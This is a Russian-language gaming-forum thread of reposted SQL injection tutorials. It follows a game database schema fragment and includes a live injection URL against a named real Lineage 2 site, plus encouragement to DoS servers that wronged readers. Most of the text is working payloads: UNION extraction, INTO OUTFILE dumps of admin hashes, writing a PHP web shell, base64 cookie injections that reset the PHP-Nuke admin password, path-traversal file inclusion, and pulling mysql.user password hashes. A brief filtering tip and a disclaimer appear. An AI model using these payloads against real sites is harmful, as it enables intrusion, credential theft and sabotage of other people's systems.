    [ST_chest] [int] NOT NULL CONSTRAINT [DF_user_data_ST_chest]  DEFAULT ((0)),
    [ST_legs] [int] NOT NULL CONSTRAINT [DF_user_data_ST_legs]  DEFAULT ((0)),
    [ST_feet] [int] NOT NULL CONSTRAINT [DF_user_data_ST_feet]  DEFAULT ((0)),
    [ST_back] [int] NOT NULL CONSTRAINT [DF_user_data_ST_back]  DEFAULT ((0)),
    [ST_both_hand] [int] NOT NULL CONSTRAINT [DF_user_data_ST_both_hand]  DEFAULT ((0)),
    [create_date] [datetime] NOT NULL CONSTRAINT [DF_user_data_create_date]  DEFAULT (getdate()),
    [login] [datetime] NULL,
    [logout] [datetime] NULL,
    [quest_flag] [binary](32) NOT NULL CONSTRAINT [DF_user_data_quest_flag]  DEFAULT (0x00),
    [nickname] [nvarchar](50) COLLATE Korean_Wansung_CI_AS NULL,
    [power_flag] [binary](32) NOT NULL CONSTRAINT [DF_user_data_power_flag]  DEFAULT (0x0000000000000000000000000000000000000000000000000000000000000000),
    [pledge_dismiss_time] [int] NOT NULL CONSTRAINT [DF_user_data_pledge_manage_time]  DEFAULT ((0)),
    [pledge_leave_time] [int] NOT NULL CONSTRAINT [DF_user_data_pledge_leave_time]  DEFAULT ((0)),
    [pledge_leave_status] [tinyint] NOT NULL CONSTRAINT [DF_user_data_pledge_leave_status]  DEFAULT ((0)),
    [max_hp] [int] NOT NULL CONSTRAINT [DF_user_data_max_hp]  DEFAULT ((0)),
    [max_mp] [int] NOT NULL CONSTRAINT [DF_user_data_max_mp]  DEFAULT ((0)),
    [quest_memo] [char](32) COLLATE Korean_Wansung_CI_AS NULL,
    [face_index] [int] NOT NULL CONSTRAINT [DF_user_data_face_index]  DEFAULT ((0)),
    [hair_shape_index] [int] NOT NULL CONSTRAINT [DF_user_data_hair_shape_index]  DEFAULT ((0)),
    [hair_color_index] [int] NOT NULL CONSTRAINT [DF_user_data_hair_color_index]  DEFAULT ((0)),
    [use_time] [int] NOT NULL CONSTRAINT [DF_user_data_use_time]  DEFAULT ((0)),
    [temp_delete_date] [smalldatetime] NULL,
    [pledge_ousted_time] [int] NOT NULL CONSTRAINT [DF_user_data_pledge_ousted_time]  DEFAULT ((0)),
    [pledge_withdraw_time] [int] NOT NULL CONSTRAINT [DF_user_data_plwdge_withdraw_time]  DEFAULT ((0)),
    [surrender_war_id] [int] NOT NULL CONSTRAINT [DF_user_data_surrender_war_id]  DEFAULT ((0)),
    [drop_exp] [int] NOT NULL CONSTRAINT [DF_user_data_drop_exp]  DEFAULT ((0)),
    [old_x] [int] NULL,
    [old_y] [int] NULL,
    [old_z] [int] NULL,
    [subjob_id] [int] NULL,
    [ssq_dawn_round] [int] NULL,
    [cp] [float] NOT NULL CONSTRAINT [DF__user_data__cp__3B969E48]  DEFAULT ((0)),
    [max_cp] [float] NOT NULL CONSTRAINT [DF__user_data__max_c__3C8AC281]  DEFAULT ((0)),
    [ST_hair] [int] NOT NULL CONSTRAINT [DF__user_data__ST_ha__3D7EE6BA]  DEFAULT ((0)),
    [subjob0_class] [int] NOT NULL CONSTRAINT [DF__user_data__subjo__38B00FFC]  DEFAULT ((-1)),
    [subjob1_class] [int] NOT NULL CONSTRAINT [DF__user_data__subjo__39A43435]  DEFAULT ((-1)),
    [subjob2_class] [int] NOT NULL CONSTRAINT [DF__user_data__subjo__3A98586E]  DEFAULT ((-1)),
    [subjob3_class] [int] NOT NULL CONSTRAINT [DF__user_data__subjo__3B8C7CA7]  DEFAULT ((-1))


Пример SQL уязвимости в сайте:

http://la2online.ru/db/item.php?id=-1 union select 1,2,3,user()/* таже фигня что и с инькой для элморе...
Но bencmark никто не отменял, так что если вам насолил какой-нибудь из этих серверов, можете устроить ему жесткую ДОС-атаку.
dw вне форума   Ответить с цитированием
Sponsored Links
Старый 20.01.2008, 07:54   #2
dw
Member of L2 Community
 
Аватар для dw
 
Регистрация: 16.01.2008
Сообщений: 105
Вы сказали Спасибо: 1
Поблагодарили: 104 раз(а) в 35 сообщениях
По умолчанию

Для работы с базами данных используется язык SQL (Структурированный Язык
Запросов) Это язык, который дает возможность создавать реляционные базы данных
(и работать с ними), которые представляют собой наборы связанной информации,
сохраняемой в таблицах.Она напоминает телефонную книгу.
+------------------+----------------------+-------------------------+
| name | password | email
+------------------+----------------------+-------------------------+
| admin | password | admin@localhost.com
+------------------+----------------------+-------------------------+
| lamer | qwerty | lamer@localhost.com
+------------------+----------------------+-------------------------+
| hacker | mamba | hacka@localhost.com
+------------------+----------------------+-------------------------+

Есть несколько основных команд SQL которые необходимо знать для работы с БД.
Итак вот они:

Создание таблицы:
-----------------

CREATE TABLE имя таблицы (имя поля тип, имя поля тип, ...)

Этой командой в базе данных создается новая таблица с указанным именем и
полями(колонками) указанного типа.

Удаление таблицы:
-----------------

DROP TABLE имя таблицы

Удаляет указанную таблицу, вне зависимости от того, пустая она или содержит
данные.

Вставка записи:
---------------

INSERT INTO имя таблицы (имя поля1, имя поля2, ...) VALUES ('значение1','значение2',...)

Добавляет в указаную таблицу поля и соответствующие им значения. Поля, которые
существуют в таблице, но не указаны в данной команде получают 'неопределенное
значение'. 'Неопределенное значение' - это, своего рода, внутренний флаг,
который указывает MySQL, что поле не имеет значения.

Примеры:

INSERT INTO users (name, password, email) VALUES ('root', 'pass', 'admin@localhost.com');
// Вставляет в таблицу "users" запись: root в поле name, pass в поле password

Удаление записи:
----------------

DELETE FROM имя таблицы WHERE выражение

Удаляет из указанной таблицы все записи, которые удовлетворяют условию в
выражении после WHERE.

Примеры:

DELETE FROM users WHERE name='root';

DELETE FROM admins WHERE post=2;

Поиск записи:
-------------

SELECT * FROM имя таблицы WHERE выражение

Ищет в указанной таблице все записи, которые удовлетворяют условиям выражения.
Знак * означает выбор всех полей записи, если нужно выбрать всего-лишь несколько
полей, они перечисляются явным образом через запятую.

Примеры:

SELECT * FROM users;
// Выведет все записи из таблицы users

SELECT name, email FROM users;
// Выведет записи колонок name и email

SELECT name FROM admins WHERE post>2;
// Выведет записи колонки name из таблицы admins для которых соответствующее значение post>2

Обновление записи:
------------------

UPDATE имя таблицы SET имя поля1='значение1', имя поля2='значение2',... WHERE выражение

В указанной таблице все записи которые удовлетворяют выражению, получают в
перечисленных полях соответствующие перечисленные значения.

Примеры:

UPDATE users SET name='bad-admin' WHERE password='qwerty';
// В таблице users у всех записей у которых стоит qwerty в колонке password, значение в колонке
// name сменится на bad-admin

Теперь посмотрим как работа с БД реализуется в пхп.
Для начала работы с базой нам необходимо установить с ней соединение:

mysql_connect($hostname,$username,$password)

И выбрать базу с которой будем работать:

mysql_select_db($dbname)

$hostname сервер БД
$username логин к базе $password пароль к базе $dbname название базы
После этого мы можем отдавать SQL запросы с помощью mysql_query($query) где
$query наш запрос.


Вот в принципе основы которые нужно знать для работы с БД. Теперь переходим к
более интересному, а именно к способам внедрения своего кода.

Как вы могли заметить тестовые данные передаются в sql-запросах заключенными в
кавычки data' отсюда можно сделать интересное замечание. Что если к скрипте
данные для sql-запроса берутся из полученных от пользователя переменных и не
фильтруются Тогда мы можем попробовать вставить в запрос эту самую кавычку "'"

Допустим есть скрипт выбирающий мыло пользователя из таблицы в соответствии с
его логином:

Если мы передаем в переменной $login нормальный текст например "lamer" то в SQL
будет выполнен запрос:

SELECT mail FROM users WHERE login='lamer'

И все сработает как надо

А теперь попробуем вставить кавычку: $login=hacker'
И запрос будет такой:

SELECT mail FROM users WHERE login='hacker''

И как мы сможем увидеть данный запрос выдаст нам ошибку. Отлично =) Лишняя
кавычка сделала свое дело и мы смогли видоизменить запрос к базе данных.
Наипростейший пример. Допустим приведенный выше скрипт позволяет смотреть
пользователю его регистрационные данные. Теперь используя кавычку мы сможем
посмотреть инфу всех пользователей, вот примерно так:

$login=blah' OR login='admin

И sql-запрос изменится на такой:

SELECT mail FROM users WHERE login='blah' OR login='admin'

Т.е. вместо вывода мыла юзера, скрипт выдаст нам мыло админа данного скрипта.
Далее мы можем получить мыла всех пользователей:

$login=no_user' OR '1'='1

SQL запрос такой станет:

SELECT mail FROM users WHERE login='no_user' OR 1'='1'

Т.к. '1'='1' всегда то запрос вернет все записи из таблицы.

Использование кавычки применимо в случае передачи в запрос текстовых данных, с
числовыми данными все еще проще. Допустим скрипт выводит пароль пользователя в
соответствии с его порядковым номером:

При передаче нормального номера скрипт отдает запрос к БД и запрос возвращает
необходимые данные:

SELECT password FROM users WHERE num=7;

Тут мы можем изменить запрос даже не прибегая в кавычкам:

$num=1 OR 2

и запрос станет:

SELECT password FROM users WHERE num=1 OR 2;

Это основа данного типа атак. Также кроме кавычки есть еще символы которые
смогут нам пригодится.

Точка с запятой ";" служит для разделения sql-запросов к базе данных. К
сожалению не поддерживается в mysql =( так что далее в статье рассматриваться не
будет. В случае если мы имеем дело с MS SQL в которой данная возможность
поддерживается то с её помощью мы получаем возможность отдавать несколько
запросов в одной строке, например:


Рассмотренный выше скрипт:


Если работает с MS SQL то изменяем переменную вот таким образом:

$login=no_user'; delete FROM users WHERE login='admin

Запрос:

SELECT mail FROM users WHERE login='no_user'; delete FROM users WHERE login='admin';

Соответственно мы удалим запись у которой в поле login стоит значение "admin" =)

Также нам пригодятся "-" и "/*" это символы обозначающие в sql начало
комментария. Пригодится чтоб отсекать лишние данные в запросах.
Например:

$result = mysql_query(\"SELECT mail FROM users WHERE login='$login' AND post='123'\");

Если мы передадим переменную $login=no_user' OR '1'='1 то запрос станет:

SELECT mail FROM users WHERE login='no_user' OR '1'='1' AND post='123';

Согласитесь не совсем то что нам надо =\
В этом случае нам и пригодится комментирование

$login=no_user' OR '1'='1';--
или
$login=no_user' OR '1'='1'/*

Заметьте что в данном случае мы сами закрываем кавычку в конце запроса т.к.
кавычка из запроса которая ранее закрывала переменную теперь будет
закоментирована.
Ну чтож мы теперь умеем выводить информацию из таблицы. Но вы заметили что мы
ограничены этой таблицей? Т.е. Мы не можем вывести данные из другой таблицы. Для
получения данных из других таблиц нам потребуется более детальное изучение
структуры запросов и еще одна команда.

Итак команда UNION используется для обьединения вывода двух или более запросов SELECT.
Особенности команды которые придется учитывать:
Когда два (или более) запроса подвергаются объединению, их столбцы вывода должны
быть совместимы для объединения. Это означает, что каждый запрос должен
указывать одинаковое количество столбцов и в том же порядке и каждый должен
иметь тип, совместимый с каждым.
Также данная возможность появилать только в mysql версии 4.0 т.е. на более
ранних версиях БД работать не будет.

Вид команды таков:

SELECT a1, a2, a3 FROM table1 UNION SELECT b1, b2, b3 FROM table2;

Где a1 и b1, a2 и b2, a3 и b3 должны быть одинакового типа.

Например:

SELECT text11, text12, int11 FROM t1 UNION SELECT text21, text22, int22 FROM t2;

Думаю наиболее удобно будет рассмотреть работу с данной командой на конкретном
примере. Помучить предлагаю PHP-Nuke версии 7.0 FINAL. Советую скачать и
поставить данный движек. Итак устанавливаем и настраиваем нюку. Запускаем mysql
с ведением логов и приступаем.

К слову сказать, в инете полно практически одинаковых статей про sql-injection и
все они рассказывают про атаки данного типа при использовании MS SQL в качестве
сервера базы данных. Конечно сервак от мелкомягких дает поистинне потрясающие
возможности для взлома всего сервера за счет возможностей разделения запросов в
строке и прочих фишек но это тема другой статьи а у нас на повестке mysql в
котором все не так просто, но это совсем не п***о, это хорошо т.к. с mysql
возится сложнее а значит интереснее =) А к чему я это сказал? Да просто в тех
статьях описывается взлом при авторизации и авторизация там происходит примерно
таким запросом:

SELECT * FROM users WHERE login='blabla' AND password='blabla';

Изврат! Не правда-ли? Абсолютно убогий способ работы с базой данных. Зачем
спрашивается выбирать все данные из таблицы? Бррр что-то меня вообще не туда
унесло =\ Мы лучше рассмотрим авторизацию в PHP-Nuke 6.9. в котором процесс
авторизации сделан более грамотно и красиво. Обратите внимание на версию нюки!
Дело в том что в версии 7.0 не удастся через форму внедрить код с помощью
кавычки т.к. там эта бага прикрыта. В версии 7.0 есть возможность внедрения кода
в этом модуле посредством cookie но мы пока что не будем трогать cookie т.к. на
эту тему статья будет чуть позднее а рассмотрим внедрение кода просто через
форму авторизации. Для этого и пришлось использовать более раннюю версию. Как
пример.
Запускаем _http://127.0.0.1/phpnuke69/admin.php и видим окошко для ввода логина и
пароля. Ну вы наверно уже догадались что мы будем делать? Конечно вписываем в
качестве логина admin' (не забудьте про кавычку) и 123 в кач-ве пароля.
Хммм... Не пускает =) Ну чтож всякое бывает =) Наверно потому что логин и пароль
в базе другие совсем =)))
Чтож опять лезем смотреть логи mysql:

1 Query SELECT pwd, admlanguage FROM nuke_authors WHERE aid='admin''
^ - вот она наша родная кавычка =)

Стоп! Вы уже побежали вставлять UNION и SELECT? Рано. Дело в том что в данном
модуле не происходит никакого вывода полученных данных из БД. Естественно раз
нет вывода то и вывести полученный хеш нам некуда. Что же делать. К счастью в
mysql есть замечательная опция сохранения выбранных из таблицы данных в файл.
Производится данный финт ушами следующим образом:

SELECT * FROM table INTO OUTFILE 'путь_к_файлу/файл';

Попробуем сохранить хеш пароля админа в файле. Форма ввода не позволяет ввести
длинный логин поэтому придется передавать данные через строку браузера:

_http://127.0.0.1/phpnuke69/admin.php?op=login&pwd=123&aid=admin' INTO OUTFILE 'pwd.txt

После запроса данной строки в БД исполняется:

9 Query SELECT pwd, admlanguage FROM nuke_authors WHERE aid='admin' INTO OUTFILE 'pwd.txt'

И хеш пароля пользователя "admin" оказывается записан в файл pwd.txt. Но вся
проблемма в том что файл создается не в корне www-сервера а в каталоге базы
данных. Для создания файла в каталоге доступном через web необходимо указывать
полный путь:

/phpnuke/admin.php?op=login&pwd=123&aid=admin' INTO OUTFILE '../../../../WWW/www1/phpnuke69/pwd.txt

И теперь уже:

_http://127.0.0.1/phpnuke69/pwd.txt

Выдаст нам хеш админа.
Конечно необходимо учитывать права доступа и не факт что вы сможете записать
файл в нужное место но это сейчас не важно. Главное что мы смогли сформировать
нужный запрос и создать файл.

Конечно базы данных это хорошо, это интересно и познавательно, но хочется чего то
большего =) Их есть у меня =)
Как мы уже разобрались файлы мы создавать можем. А ведь в файл можно записать
любую инфу из базы данных, почему бы не воспользоваться этим и не создать себе
маленький такой http-шелл посредством создания php файла с незатейливым и
наверно всем знакомым содержанием:

Итак воспользовавшись одним из описанных выше методов вам удалось все-таки
получить хеш пароля админа и вы благополучно залогинились как админ движка,
расшифровав пароль, либо вставив его в кукис (тема про куки будет более подробно
рассмотрена в следующей статье) Теперь вам необходимо каким-либо образом
вставить php-код в одно из значений в базе данных а потом вывести его в файл.
Вот способ которым воспользовался я:

Логинимся под админом. В меню администрирования входим в раздел Topics. Создаем
новый топик.
В поле Topic Name пишем passthru
в поле Topic Text пишем:

Теперь вспомним уязвимость описанную выше в этой статье, а именно:

modules.php?name=News&new_topic=999' UNION SELECT pwd from nuke_authors/*
SELECT topictext FROM nuke_topics WHERE topicid='999' UNION SELECT pwd from nuke_authors/*'

Теперь нам не надо получать хеш пароля, а надо сохранить запись из столбца "topictext"

_http://127.0.0.1/phpnuke/modules.php?name=News&new_topic=2' INTO OUTFILE 'shell.php' /*

где 2 - номер нового топика , shell.php - файл который будет создан

Не забудьте прописать путь к файлу.
После выполнения данного запроса будет создан файл shell.php содержащий нужный
нам пхп-код.

SQL injection и не только через Cookies.

В данной статье я хотел бы рассказать об одной интересной (по крайней мере для меня) уязвимости.
Описания подобной уязвимости я еще не встречал в сети, поэтому думаю для вас это будет новой
информацией, а уж если не новой то хотя бы интересной =) Наиболее характерна бага для всевозможных
движков сайтов, форумов и прочего, поддерживающих вход с использованием cookies. В сети я встречал
статьи посвященные методам атаки через cookies, но в них рассматривалась атака на пользователя со
стороны сервера, а вот описания метода атаки на сервер со стороны клиента я не встречал.
Чтож наверно пора это исправить =)
В начале статьи следует заметить, что для наиболее полного понимания сути проблемы вы должны обладать
некоторыми (элементарными) знаниями в некоторых областях т.к. подробно останавливаться я на них не
буду, а без их знания некоторые примеры могут показаться вам непонятными. Итак желательны: основы sql
injection , язык SQL , язык PHP , основы работы с cookies , основы Base64 encode\decode ну и конечно
немного желания....

---/ Теория /---

Авторами всевозможных движков на пхп для построения сайта уделяется достаточно внимания к безопасности
при приеме данных от пользователя в GET, POST запросах (правда не всегда и не всеми =) однако что-то я
не часто встречал проверок при приеме данных из кук пользователя, а ведь куки хранятся на компьютере
юзера и наиболее доступны для изменения. Предлагаю рассмотреть все на конкретном примере. Берем движок
PHP-Nuke версии 6.9 (последняя версия доступная для свободного скачивания) Данный движок написан уже
давно, багов в нем нашли немеряно и казалось бы авторы должны были стать параноиками и навставлять
проверок везде где это только возможно, ан нет... Рассмотрим код из файла auth.php ответственного за
авторизацию пользователя:

[ begin code ]
...
if(isset($admin) && $admin != "") # если переменная $admin существует и не пуста
{
$admin = base64_decode($admin); # base64 декодирование строки
$admin = explode(":", $admin); # разбиение строки
$aid = "$admin[0]"; # тут присвоение полученных данных переменной $aid (логин)
$pwd = "$admin[1]"; # тут присвоение полученных данных переменной $pwd (пароль)
$admlanguage = "$admin[2]";

[ тут идет проверка на пустые логин и пароль, она не интересна ]

$sql = "SELECT pwd FROM ".$prefix."_authors WHERE aid='$aid'"; # а вот тут уже запрос к БД включающий
# в себя переменную $aid полученную ранее

if (!($result = $db->sql_query($sql))) # если запрос не увенчался успехом
{
echo "Selection from database failed!"; # вывод сообщения (это нам пригодится позднее)
exit;
}
else # если запрос вернул инфу
{
$row = $db->sql_fetchrow($result); # получение ответа
if($row[pwd] == $pwd && $row[pwd] != "") # проверка данных
{
$admintest = 1; # баааа... да это админ =)))
}

}
...
[ end code ]

Как видно из приведенного листинга то после получения переменной $aid из кук она без всяких проверок
отправляется в sql-запрос, а это означает что мы с чистой совестью можем изменить данную переменную и
изменить сам запрос к БД. Теперь стоит разобраться с куками которые сбрасывает данный движок. Я
рекомендую поставить php-nuke себе и на своем компе производить все операции дабы разобраться в том
что происходит. Значит после установки движка регистрируем в нем пользователя "admin" с паролем
"password" и лезем смотреть на куки которые у нас сбросились.

[ start cookie ]
lang
english
127.0.0.1/phpnuke/
1536
1008201472
29680718
3288127568
29607292
*
admin
YWRtaW46NWY0ZGNjM2I1YWE3NjVkNjFkODMyN2RlYjg4MmNmOT k6
127.0.0.1/phpnuke/
1536
3469246208
29613327
3600307568
29607292
*
[ end cookie ]

Наиболее интересна для нас строка YWRtaW46NWY0ZGNjM2I1YWE3NjVkNjFkODMyN2RlYjg4MmNmOT k6 это зашифрованные
base64 логин и md5 хеш пароля юзера. Самое время их расшифровать и посмотреть как там все устроено.
base64 расшифровывается очень легко поэтому особых трудностей тут возникнуть не должно:

зашифровано:
YWRtaW46NWY0ZGNjM2I1YWE3NjVkNjFkODMyN2RlYjg4MmNmOT k6

расшифровано:
admin:5f4dcc3b5aa765d61d8327deb882cf99:

Где,
admin - логин
5f4dcc3b5aa765d61d8327deb882cf99 - md5 хеш пароля ( в данном случае "password")
: - разделитель


---/ Изменение данных в cookie /---

Итак у нас в руках есть логин и md5 хэш. Давайте попробуем изменить логин и соответственно мы изменим
последующий sql-запрос к БД:

измененная строка:
admin':5f4dcc3b5aa765d61d8327deb882cf99:

шифруем в base64:
YWRtaW4nOjVmNGRjYzNiNWFhNzY1ZDYxZDgzMjdkZWI4ODJjZj k5Og==

Как вы видите мы добавили "'" к логину. Если вы не знаете что это такое то читайте статьи про sql
injection. Теперь осталось вставить измененную строку в наш кук и посмотреть, что произойдет.
Открываем в браузере наш движок и пытаемся войти в админ-панель.
Получаем: Selection from database failed!
Ура. Значит sql-запрос был благополучно изменен =)

Теперь посмотрим что происходит в БД. Открываем логи и видим:

Код:
1 Init DB nuke
1 Init DB nuke
1 Query SELECT main_module from nuke_main
1 Query SELECT * FROM nuke_referer
1 Query SELECT user_password FROM nuke_users WHERE username=''
1 Query DELETE FROM nuke_session WHERE time < 1071760481
1 Query SELECT time FROM nuke_session WHERE uname='127.0.0.1'
1 Query SELECT * FROM nuke_banner WHERE type='0' AND active='1'
1 Query SELECT bid, imageurl, clickurl, alttext FROM nuke_banner WHERE type='0' AND active='1' LIMIT 0,1
1 Query SELECT pwd FROM nuke_authors WHERE aid='admin'' <--- !!!!!!!!
...
Вот оно! Как видно наш логин благополучно пробрался в запрос и соответственно данный запрос не смог
возвратить пароль пользователя из-за чего мы и получаем надпись...

PHP код:
if (!($result $db->sql_query($sql))) # если запрос не увенчался успехом
{
echo 
"Selection from database failed!"; <--- вот эта надпись
exit;

Итак. SQL-injection налицо, осталось выяснить, что это нам дает.... Тут следует обратится к документации
по языку sql, и всевозможной инфе по sql-injection. Я особо углублятся в это не буду. Рассмотрю лишь
небольшой пример...

---/ Примеры /---

Шифруем строку:
admin'; update nuke_authors SET pwd='123' WHERE aid='admin:5f4dcc3b5aa765d61d8327deb882cf99:

Получаем:
YWRtaW4nOyB1cGRhdGUgbnVrZV9hdXRob3JzIFNFVCBwd2Q9Jz EyMycgV0hFUkUgYWlkPSdhZG1pbjo1ZjRkY2MzYjVhYTc2NWQ2 MWQ4MzI3ZGViODgyY2Y5OTo=

После вставки данной строки в cookie и захода на сайт в БД выполняется запрос:
SELECT pwd FROM nuke_authors WHERE aid='admin'; update nuke_authors SET pwd='123' WHERE aid='admin'

Т.е. если phpnuke стоит на MSSQL то хеш пароля юзера с aid="admin" сменится на "123" =)
Почему MSSQL? Просто эта БД позволяет отдавать несколько запросов в одной строке разделяя их ";" В
случае с mysql данная фишка не прокатит т.к. там такая роскошь не допускается =( Конечно можно
поиграть с UNION но это подходит только для mysql > 4.0 т.к. в более ранних данной команды нет. Да и в
случае с phpnuke никаких результатов это нам не даст т.к. тут нету вывода какой-либо инфы из базы в
процессе авторизации =( Возможно в каких-либо других движках при другом виде запросов к БД и удастся
приспособить UNION для получения инфы... Но это тема другой статьи.

Ну и как дополнение к статье рассмотрим путь получения хеша пароля для юзера с id="admin" в php-nuke
версии 6.9 на mysql

Шифруем строку:
admin' INTO OUTFILE './pwd.txt:5f4dcc3b5aa765d61d8327deb882cf99:

Получаем:
YWRtaW4nIElOVE8gT1VURklMRSAnLi9wd2QudHh0OjVmNGRjYz NiNWFhNzY1ZDYxZDgzMjdkZWI4ODJjZjk5Og==

После вставки полученной строки в cookie и захода на сайт выполняется запрос:
SELECT pwd FROM nuke_authors WHERE aid='admin' INTO OUTFILE './pwd.txt'

Т.е. выбор хеша пароля из БД соответствующего aid="admin" и сохранение этого хеша в файле pwd.txt.


---/ Хинт для нюка /---

Если посмотреть на php-код приведенный в самом начале статьи то можно заметить что на PHP-Nuke совсем не
обязательно передавать данные именно через cookies. Можно передавать зашифрованную строку прямо через
браузер следующим образом:
admin.php?admin=YWRtaW4nOjVmNGRjYzNiNWFhNzY1ZDYxZD gzMjdkZWI4ODJjZjk5Og==
Результат будет таким-же как и при передаче через кукисы.


---/ SQL-injection и только? /---

Естественно не следует думать, что модификация данных в cookies может привести только к SQL-injection.
Модификация данных в cookies лишь метод, а вот направление использования этого метода уже зависит от
кода уязвимого ПО. Мне кажется лучше всего будет это продемонстрировать на примере все того-же бедного
пхп-нюка =) версии 6.9. ( К слову сказать на момент когда статья была дописана я уже достал себе
версию нюки 7.0 FINAL и все приведенные примеры в ней также работают) Итак мы уже в курсе про куки в
которых хранится логин и пароль, но ведь движок сбрасывает еще одну куку... а именно кукис с названием
языка который следует использовать. И название данного файла хранится в переменной $lang и
используется вот таким образом:

[ begin mainfile.php code ]
...
include("language/lang-$lang.php");
...
[ end mainfile.php code ]

Конечно данную переменную можно сменить и просто отдав с строке браузера нужный запрос, например вот
так: 127.0.0.1/phpnuke/index.php?lang=/../../../ но использовать для этого кукисы будет более
правильно, хотя наверно это не самый лучший пример, но какой есть. Простопредставим что данные из GET
запросов фильтруются на наличие в запросе... ну например точек. Значит изменение пути через браузер
отпадает. Будем играть с куками. Значит нам надо изменить путь к языковому файлу. Открываем сайт,
получаем куки и смотрим:

[ start cookie ]
...
lang
english
...
[ end cookie ]

Вот тут нас интересует "english" при таком значении переменной языковой файл будет такой: language/lang-english.php
Мы изменяем в кукисах вот на такую строку: ../../english
Заходим на сайт и получаем ошибку:
Код:
Warning: main(language/lang-../../english.php): failed to open stream:
No such file or directory in mainfile.php on line 162
Итак мы можем изменить путь к файлу. Допустим у нас есть возможность залить файл на сервер или же у нас
есть свой сайт, физически расположенный там-же где и атакуемый. Значит мы можем проинклудить свой
созданный заранее файлик. Я рассмотрю пример с инклудом из корня пхп-нюки:
Делаем в куке:
lang
/../../hacker

Теперь путь к файлу такой:
language/lang-/../../hacker.php

Создаем в корне нюки файл hacker.php например с
Заходим с измененным cookie на сайт и в самом верху получаем надпись "cool =)"
Код выполнился, а значит потенциальная уязвимость существует.


---/ Защита /---

Способ защиты в принципе банален и не нов. Просто фильтровать ВСЕ!!! пришедшие от пользователя данные,
независимо от того каким способом они передаются.


---/ Заключение /---

В данной статье рассмотрена лишь суть проблемы, а методы использования уже предстоит придумать и
реализовать вам самим. Также метод рассмотренный тут не является шаблоном по которому можно ломануть
все и вся... Все зависит от самого скрипта использующегося на сервере, от вида запросов к БД, от
способов получения данных из cookies и т.д. Да и еще... самое главное! Статья написана в помощь
администраторам и авторам всевозможных пхп-скриптов, с целью указать на их возможные ошибки. Не используйте информацию из этой статьи в целях противоречащих УК.

...1dt.w0lf & xXxNEOxXx...
dw вне форума   Ответить с цитированием
Старый 20.01.2008, 07:59   #3
dw
Member of L2 Community
 
Аватар для dw
 
Регистрация: 16.01.2008
Сообщений: 105
Вы сказали Спасибо: 1
Поблагодарили: 104 раз(а) в 35 сообщениях
По умолчанию

SQL инъекция в сервере MySQL

SQL injection - уязвимость, возникающая как следствие недостаточной проверки принятых от пользователя значений, в скрипте или программе. Я буду рассматривать инъекции в MySQL базе данных. Эта база данных является одной из самых распространенных. Если не оговорено отдельно, то считается, mysql инъекция возможна в php скрипте.

Выявление наличия SQL инъекции.

Зачастую, о наличии SQL инъекции могут сказать ошибки, явно указывающие, что произошла ошибка в sql запросе. В тоже время о наличии ошибки в SQL запросе можно судить и по косвенным признакам.

Для проверки, полностью фильтруется некоторый параметр или нет, передаем несколько измененные значения этого параметра. Например, вместо _http://site/test.php?id=12 передаем.

Код:
_http://site/test.php?id=12'

_http://site/test.php?id=aaa

_http://site/test.php?id=13-1
Если последний запрос выдает страницу, аналогичную, как и _http://site/test.php?id=12, это в большинстве случаев может однозначно свидетельствовать о наличии SQL инъекции в не фильтруемом целом параметре.

Анализ БД через MySQL инъекцию.

И так, допустим нам известно о недостаточной фильтрации параметра id в скрипте
_http://site/test.php?id=12

Наличие подробных сообщениях об ошибках, с текстом SQL запроса, в котором произошла ошибка сведет трудность эксплуатации SQL инъекции к минимуму. Однако, многое можно сделать даже если сообщений об ошибках не выводятся вообще.

Следует принять к сведению тот факт, что даже если текст ошибки не выводиться, можно все равно однозначно судить о том, произошла ошибка, или нет (например, запрос вернул пустой результат).

В частности, возможна ситуации, когда при ошибке, возвращается код ответа 500, или редирект на главную страницу, в то время как при пустом результате запроса будет возвращена пустая страница.

Для того, чтобы выявить эти второстепенные признаки, следует составить http запросы, про которые известно, который приведет к правильному (но возвращающему пустой вывод) SQL запросу, и который приведет к неверному SQL запросу. Например, при не фильтруемом параметре id

_http://site/test.php?id=99999, вероятно, будет возвращен пустой sql запрос, в то время, как

_http://site/test.php?id=99999' должен породить ошибку.

Теперь, зная как отличить ошибочный запрос от пустого, начинаем последовательно извлекать информация о запросе и базе данных.

Рассмотрим случай, когда иньекция происходит после where. Если мы рассматриваем MySQL базу данных, то получение информации из базы данных может быть возможным только, если сервер имеет версию 4.*, те имеется возможность вставить в запрос union

1) количество полей между select и where

Пробуем последовательно, пока не получим верный запрос:
Код:
_http://site/test.php?id=99999+union+select+null/*

_http://site/test.php?id=99999+union+select+null,null/*
более, того, если не имеется возможность отделить неверный запрос от возвратившего пустой результат, можно сделать так:

Код:
_http://site/test.php?id=12+union+select+null/*

_http://site/test.php?id=12+union+select+null,null/*
Для этого, нам достаточно уметь отделять правильный запрос от неправильного, а это возможно всегда, если имеется факт наличия SQL инъекции.

После того, как мы получим правильный запрос, количество null, будет равно количеству полей между select и where

2) номер столбца с выводом. Нам понадобится знать, в каком по счету столбце происходит вывод на страницу.

При этом, если выводиться на страницу несколько параметров, то лучше найти тот, который, как кажется, имеет наибольший размер типа данных (text лучше всего), как например, описание товара, текст статьи и тд.

Ищем его
:
Код:
_http://site/test.php?id=9999+union+select+'test',null,null/*

_http://site/test.php?id=9999+union+select+null,'test',null/*
И до тех пор, пока не увидим слово test в нужном нам месте.

Следует обратить внимание, что в этом случае один из подобных запросов обязательно вернет непустое значение.

Тут можно наткнутся на подводный камень: в скрипте, возможно имеется проверка на не пустоту одного из параметров (например, id) тут придется воспользоваться свойством MySQL, числовой тип может быть приведен к любому типу данных, без возникновения ошибки, причем так, что сохранит свое значение.
Код:
_http://site/test.php?id=9999+union+select+1,2,3/*
Этот же фокус пройдет и там, где кавычки экранируются.

Открытие комментария добавлена для того, чтобы отбросить, остальную часть запроса, если она имеется. MySQL нормально реагирует на незакрытый комментарий.

3) имена таблиц

Теперь можно перебирать имена таблиц.

Код:
_http://site/test.php?id=12+union+select+null,null,null+from+ta ble1/*
Правильные запросы будут соответствовать существующим именам таблиц. Наверно, интересно будет проверить на существование таблиц users, passwords, regusers и тд и тп.

4) системная информация

у нас уже достаточно информации чтобы составить такой запрос.

Код:
_http://site/test.php?id=9999+union+select+null,mysql.user.pass word,null+from+mysql.user/*
В случае, если имеются права на select из базы данных mysql, то этот запрос вернет нам хеш пароля, который в большинстве случаев легко расшифруется. Если выводиться только одна строка из запроса (например, вместо тела статьи), то можно передвигаться по строкам

Цитата:
_http://site/test.php?id=9999+union+select+null,mysql.user.pass word,null+from+mysql.user+limit+0,1/*

